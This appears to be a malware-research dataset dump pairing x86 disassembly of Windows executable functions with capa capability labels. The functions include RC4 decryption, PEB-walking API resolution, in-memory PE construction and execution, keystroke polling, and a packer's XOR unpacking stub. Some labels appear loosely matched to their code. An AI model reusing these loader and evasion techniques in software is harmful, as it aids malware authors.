joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10100516
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10166e00], 0
mov byte [0x10166e04], 0
mov dword [0x10166df4], 0x2578
mov dword [0x10166dfc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov dword [0x10166df8], 0xf4
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10166df4], 0x198b
mov eax, dword [0x10166dfc]
add eax, 1
mov dword [0x10166dfc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1010055b
mov eax, dword [0x10166df8]
add eax, 0xffffee3c
mov dword [0x10166df4], eax
mov dword [0x10166dfc], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101005b5
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10166e08], 0
mov edx, dword [0x10166e00]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10166e08], edi
mov dword [0x10166df4], 0x135a
mov eax, edi
cdq
idiv ecx
mov dword [0x10166e00], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x10166e04], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x10166e04]
mov edx, dword [0x10166e00]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x10166dfc]
add edx, 1
mov dword [0x10166dfc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101005b5
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1010065a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x10166df8], 0x143b
mov dword [0x10166df4], 0x139d
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x1010076c
mov eax, dword [ebp - 0x13c]
mov cl, byte [eax + 0x1010b2f2]
mov dl, byte [eax + 0x1010b2c3]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x13c], eax
je 0x101007dc
jmp 0x10100698
lea eax, [0x1010b2d1]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], ecx
call fcn.10100516
mov eax, dword [ebp - 0x140]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x14c]
mov dword [esp + 0xc], edx
call fcn.101012e9
xor eax, eax
mov ecx, dword [ebp - 0x148]
add ecx, 0x4dc95
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [0x10166df4], 0x512
mov dword [edx + 4], 0x13f200
mov ecx, dword [ebp - 0x148]
add ecx, 0x185e6
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x2010
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0xd0
mov edi, edx
add edi, esi
add edi, 0xa0
mov esi, dword [edi]
imul edi, eax, 0xd0
add edx, edi
add edx, 0x30
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x6d6
mov ecx, edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x1010076c
xor eax, eax
mov dword [0x10166df4], 0x52
mov dword [ebp - 0x13c], eax
jmp 0x10100698
lea eax, [ebp - 0x12c]
mov dword [0x10166df4], 0x1392
mov dword [ebp - 0x150], eax
call fcn.101016af
mov dword [esp], eax
mov eax, dword [ebp - 0x150]
mov dword [esp + 4], eax
call fcn.101002b3
mov ecx, eax
mov dword [0x10166e10], eax
mov eax, esp
mov edx, dword [ebp - 0x14c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x158], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
lea edx, section..data
imul esi, eax, 0xd0
mov edi, edx
add edi, esi
add edi, 0xa0
mov esi, dword [edi]
imul edi, eax, 0xd0
mov ebx, edx
add ebx, edi
mov edi, dword [ebx]
imul ebx, eax, 0xd0
add edx, ebx
add edx, 0x30
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], edx
call fcn.101010d1
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x160]
add eax, ecx
mov edx, dword [ebp - 0x15c]
add edx, 1
cmp edx, 0x6d6
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], edx
je 0x101006cd
jmp 0x1010084a
Function at 0x10100965
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov dword [0x10166df4], 0x5cf
mov dword [ebp - 0x10], eax
call fcn.1010014e
mov ecx, 0xfffff04b
xor edx, edx
mov esi, eax
mov dword [0x10166df4], 0x140d
mov edi, dword [eax + 0x3c]
mov ebx, esi
add ebx, edi
mov dword [0x10166df8], 0x276
cmp dword [eax + edi], 0x4550
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
je 0x101009ef
jmp 0x10100a07
mov eax, dword [ebp - 0x24]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov esi, dword [ebp - 0x30]
mov edi, dword [esi + eax*4]
mov dword [0x10166df4], 0x5cf
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
jmp 0x10100a6a
mov eax, 0xfffff7a0
mov ecx, dword [ebp - 0x14]
mov dword [0x10166df8], 0x9cb
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov dword [0x10166df4], ecx
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x18]
add ecx, dword [ecx + eax + 0x20]
mov esi, dword [ebp - 0x18]
mov edi, dword [esi + eax + 0x24]
mov dword [0x10166df8], 0x1d3a
mov ebx, dword [esi + eax + 0x18]
cmp ebx, 0
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x24], edx
je 0x101009be
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
add eax, ecx
mov dword [ebp - 0x50], eax
xor eax, eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], eax
jmp 0x101009c9
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x55], bh
mov byte [ebp - 0x56], cl
je 0x10100abb
mov eax, dword [ebp - 0x54]
add eax, 1
mov cl, byte [ebp - 0x55]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x56]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x40], eax
jne 0x10100a6a
mov al, byte [ebp - 0x56]
test al, 1
jne 0x10100af1
jmp 0x10100ac4
xor eax, eax
mov ecx, dword [ebp - 0x38]
add ecx, 2
mov edx, dword [ebp - 0x34]
add edx, 1
mov esi, dword [ebp - 0x44]
cmp edx, esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], edx
jb 0x101009c9
jmp 0x101009be
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x48]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x18]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x24], edi
jmp 0x101009be
Function at 0x10100b1a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x10166df4]
add esi, 0xffffecd2
mov dword [0x10166df4], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x10100b84
lea eax, [ebp - 0x24]
mov dword [0x10166df4], 0x1392
mov dword [0x10166df8], 0x3361
mov dword [ebp - 0x34], eax
call fcn.101016af
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101002b3
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x10100c5a
jmp 0x10100bb0
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1010b2f2]
mov dh, byte [eax + 0x1010b2c3]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
je 0x10100b46
jmp 0x10100b84
mov eax, dword [ebp - 0x38]
mov dword [0x10166df4], 0x74d
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10100415
mov eax, dword [ebp - 0x3c]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xd0
mov dword [eax + 0xd0], 0x4550
mov dword [0x10166df4], 0x1a79
add eax, 0xffc00000
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x44], eax
xor eax, eax
mov dword [0x10166df8], 0x1509
mov ecx, dword [ebp - 0x3c]
add ecx, 0x1e61
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x3c]
mov dword [edx + 0x1c], esi
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x10100c51
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x10100d45
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x28]
mov ecx, dword [0x10166df4]
add ecx, 0xfffffe01
mov dword [0x10166df4], ecx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x80]
mov dword [0x10166df8], 0x258d
mov dword [esp], eax
call fcn.1010065a
lea ecx, [0x10101131]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x68], edx
mov dword [esp + 0x28], 0x13f200
mov dword [0x10166df4], 0x1bf6
mov edx, dword [0x10166de0]
mov dword [esp + 0x50], edx
mov edx, dword [0x10166de4]
mov dword [esp + 0x3c], edx
mov edx, dword [0x10166de8]
mov dword [esp + 0x58], edx
mov edx, dword [0x10166dec]
mov dword [esp + 0x34], edx
mov edx, dword [0x10166df0]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x10100deb
mov eax, dword [esp + 0x18]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
jne 0x10100e0e
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x10100e2a
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
jmp 0x10100deb
mov eax, dword [esp + 0x14]
mov dword [esp + 0x30], eax
mov dword [0x10166df4], 0x140d
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x64], edx
mov dword [0x10166df8], 0xa8c
call fcn.10101183
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
jne 0x10100de3
lea eax, [esp + 0x28]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10100b1a
mov dword [esp + 8], eax
mov eax, esp
lea ecx, [esp + 0x28]
mov dword [eax], ecx
mov eax, dword [esp + 8]
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x18], eax
jmp 0x10100de3
Function at 0x10101183
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x34
mov dword [ebp - 0xc], 0
mov eax, dword [0x10166df8]
add eax, 0xfffffc4a
mov dword [0x10166df4], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [0x10166df8]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov edi, edx
add edi, 0xffffe172
mov dword [0x10166df4], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jmp 0x101011f0
xor eax, eax
mov dword [0x10166df8], 0x19ef
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add esp, 0x34
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
je 0x10101231
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
setl cl
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x2d], cl
mov al, byte [ebp - 0x2d]
test al, 1
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], edx
jne 0x101011f0
jmp 0x10101231
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x34], eax
jne 0x101011d7
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x101011d7
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff5
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x38]
cmp word [eax + ecx*2], 0x61
jne 0x101011d7
mov eax, dword [ebp - 0x18]
add eax, 0xffffe77b
mov dword [0x10166df8], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x101011d7
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
mov dx, word [eax + ecx*2 - 0x12]
mov word [ebp - 0x3a], dx
mov ax, word [ebp - 0x3a]
cmp ax, 0x64
jne 0x101011d7
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x101011d7
mov eax, 1
mov dword [0x10166df8], 0x1644
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x101011e6
jmp 0x101011d7
Function at 0x101012e9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10166dfc], 0
mov dword [0x10166e00], 0
mov dword [0x10166e0c], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x10101426
jmp 0x1010135b
mov eax, dword [0x10166dfc]
mov ecx, dword [0x10166e00]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, ecx
add edi, 1
add eax, 1
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x10166dfc], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x10166e00], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x10166e04], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10166e04]
mov edx, dword [0x10166e00]
mov byte [ebx + edx], cl
mov edx, dword [0x10166dfc]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x10166e00]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x10166e0c], ecx
mov dword [0x10166df4], 0x1195
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x34]
mov ch, byte [edx + esi]
mov edx, dword [0x10166df8]
add edx, 0xffffed36
mov dword [0x10166df4], edx
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x2c], edi
jne 0x10101344
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401365
Capabilities:
Create process on windows

Disassembly:
xor eax, eax
push eax
mov edx, dword [esp + 8]
lea ecx, [esp]
call fcn.00402000
push 1
mov eax, 0x431020
push eax
mov eax, 0x431020
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, str.open
push eax
push 0
call sub.SHELL32.DLL_ShellExecuteW
xor eax, eax
push dword [esp]
call fcn.0040a940
add esp, 4
ret 4

Function at 0x402758
Capabilities:
Get graphical window text

Disassembly:
push ebx
push dword [esp + 8]
push dword [0x43318c]
call fcn.0040a128
mov ebx, eax
test ebx, ebx
je 0x4027bc
mov ecx, dword [ebx + 4]
mov eax, dword [ecx + 0x18]
test eax, eax
je 0x402781
push dword [esp + 0xc]
push ebx
call eax
jmp 0x4027bc
push esi
push edi
push dword [ebx]
call dword [sym.imp.USER32.DLL_GetWindowTextLengthW]
push dword [esp + 0x14]
mov edi, eax
push edi
call fcn.0040aa70
mov esi, eax
lea ecx, [edi + 1]
push ecx
xor eax, eax
push esi
mov word [esi], ax
push dword [ebx]
call dword [sym.imp.USER32.DLL_GetWindowTextW]
push esi
call sub.MSVCRT.dll_wcslen
pop ecx
sub edi, eax
push edi
call fcn.0040aaf0
pop edi
pop esi
pop ebx
ret 8

Function at 0x403ee8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
call dword [sym.imp.USER32.DLL_GetFocus]
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
mov ebx, eax
test ebx, ebx
je 0x403f62
push 9
call esi
test al, al
jns 0x403f62
push 0x11
call esi
test al, al
js 0x403f62
push 0x10
call esi
test al, al
js 0x403f62
push 0x12
call esi
test al, al
js 0x403f62
push 5
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.USER32.DLL_GetClassNameW]
push 4
lea eax, [ebp - 0x10]
push str.Rich
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
jne 0x403f62
push eax
push eax
push 0x44e
push ebx
call dword [sym.imp.USER32.DLL_SendMessageW]
test eax, 0x800
jne 0x403f62
xor eax, eax
jmp 0x403fe3
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x403f8a
push 0x11
call esi
test al, al
js 0x403f82
push 0x10
call esi
test al, al
js 0x403f82
push 0x12
call esi
test al, al
jns 0x403f8a
push 1
push edi
call fcn.00403feb
mov esi, dword [sym.imp.USER32.DLL_GetPropW]
test ebx, ebx
je 0x403fa0
push str.PB_Hotkey
push ebx
call esi
test eax, eax
jne 0x403fe0
push str.PB_WindowID
push edi
call esi
mov esi, eax
test esi, esi
je 0x403fe0
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x403fe0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 4], eax
jne 0x403fe0
lea eax, [esi - 1]
push eax
push dword [0x433198]
call fcn.0040a128
test eax, eax
je 0x403fe0
mov eax, dword [eax + 8]
jmp 0x403fe2
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40560d
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x43305c], eax
test eax, eax
je 0x40563b
push str.AlphaBlend
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x433058], eax
lea eax, [ebp - 0x114]
mov dword [0x433060], 1
push eax
mov dword [ebp - 0x114], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40569d
cmp dword [ebp - 0x104], 1
jne 0x405672
and dword [0x433060], 0
jmp 0x4056b5
cmp dword [ebp - 0x104], 2
jne 0x40569d
cmp dword [ebp - 0x110], 5
jb 0x405669
jne 0x40569d
mov eax, dword [ebp - 0x10c]
neg eax
sbb eax, eax
and eax, dword [0x433060]
mov dword [0x433060], eax
jmp 0x4056a2
mov eax, dword [0x433060]
test eax, eax
je 0x4056b5
call fcn.004050bd
neg eax
sbb eax, eax
and dword [0x433060], eax
mov esp, ebp
pop ebp
ret

Function at 0x4070c0
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov eax, dword [edi]
test eax, eax
je 0x4070f2
push 0
lea ecx, [esp + 0x10]
push ecx
push esi
push dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4070ed
cmp dword [esp + 0xc], esi
je 0x407109
pop edi
xor eax, eax
pop esi
ret
mov eax, dword [edi + 4]
add eax, dword [edi + 8]
push esi
push dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [edi + 8], esi
pop edi
mov eax, 1
pop esi
ret

Function at 0x4125f0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x412610
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x412610
mov eax, dword [eax + 0x44]
test eax, eax
je 0x412610
push dword [esp + 8]
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x673d1544
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x498d385c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x41097b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, dword [ebp + 0xc]
and eax, 3
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
sub ecx, eax
je 0x4109c5
rol edx, 5
xor edx, dword [esi + ebx]
add esi, 4
imul eax, edx, 0x9e3779b9
rol eax, 5
xor eax, 4
imul edx, eax, 0x9e3779b9
cmp esi, ecx
jb 0x410994
jmp 0x4109c5
movsx ecx, byte [esi + ebx]
rol edx, 5
xor edx, ecx
imul edx, edx, 0x9e3779b9
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x4109b5
pop esi
mov eax, edx
pop ebx
pop ebp
ret

Function at 0x411a5b
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x411a90
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x411aba
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x411aba
test edi, edi
je 0x411a87
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x411a87
test edi, edi
je 0x411ac2
mov eax, edi
jmp 0x411a89
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x411a89
mov esi, 0xc3
push esi
push str.c:_builds_moz2_slave_m_in_w32_d_0000000000000000000_build_src_mfbt_Poison.cpp
push str.no_usable_poison_region_identified
call fcn.004157ce
add esp, 0xc
int3
Function at 0x415802
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestVector.exe_gMozillaPoisonSize], eax
call fcn.00411a5b
pop ecx
mov ecx, dword [sym.TestVector.exe_gMozillaPoisonSize]
mov dword [sym.TestVector.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x41583a
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestVector.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret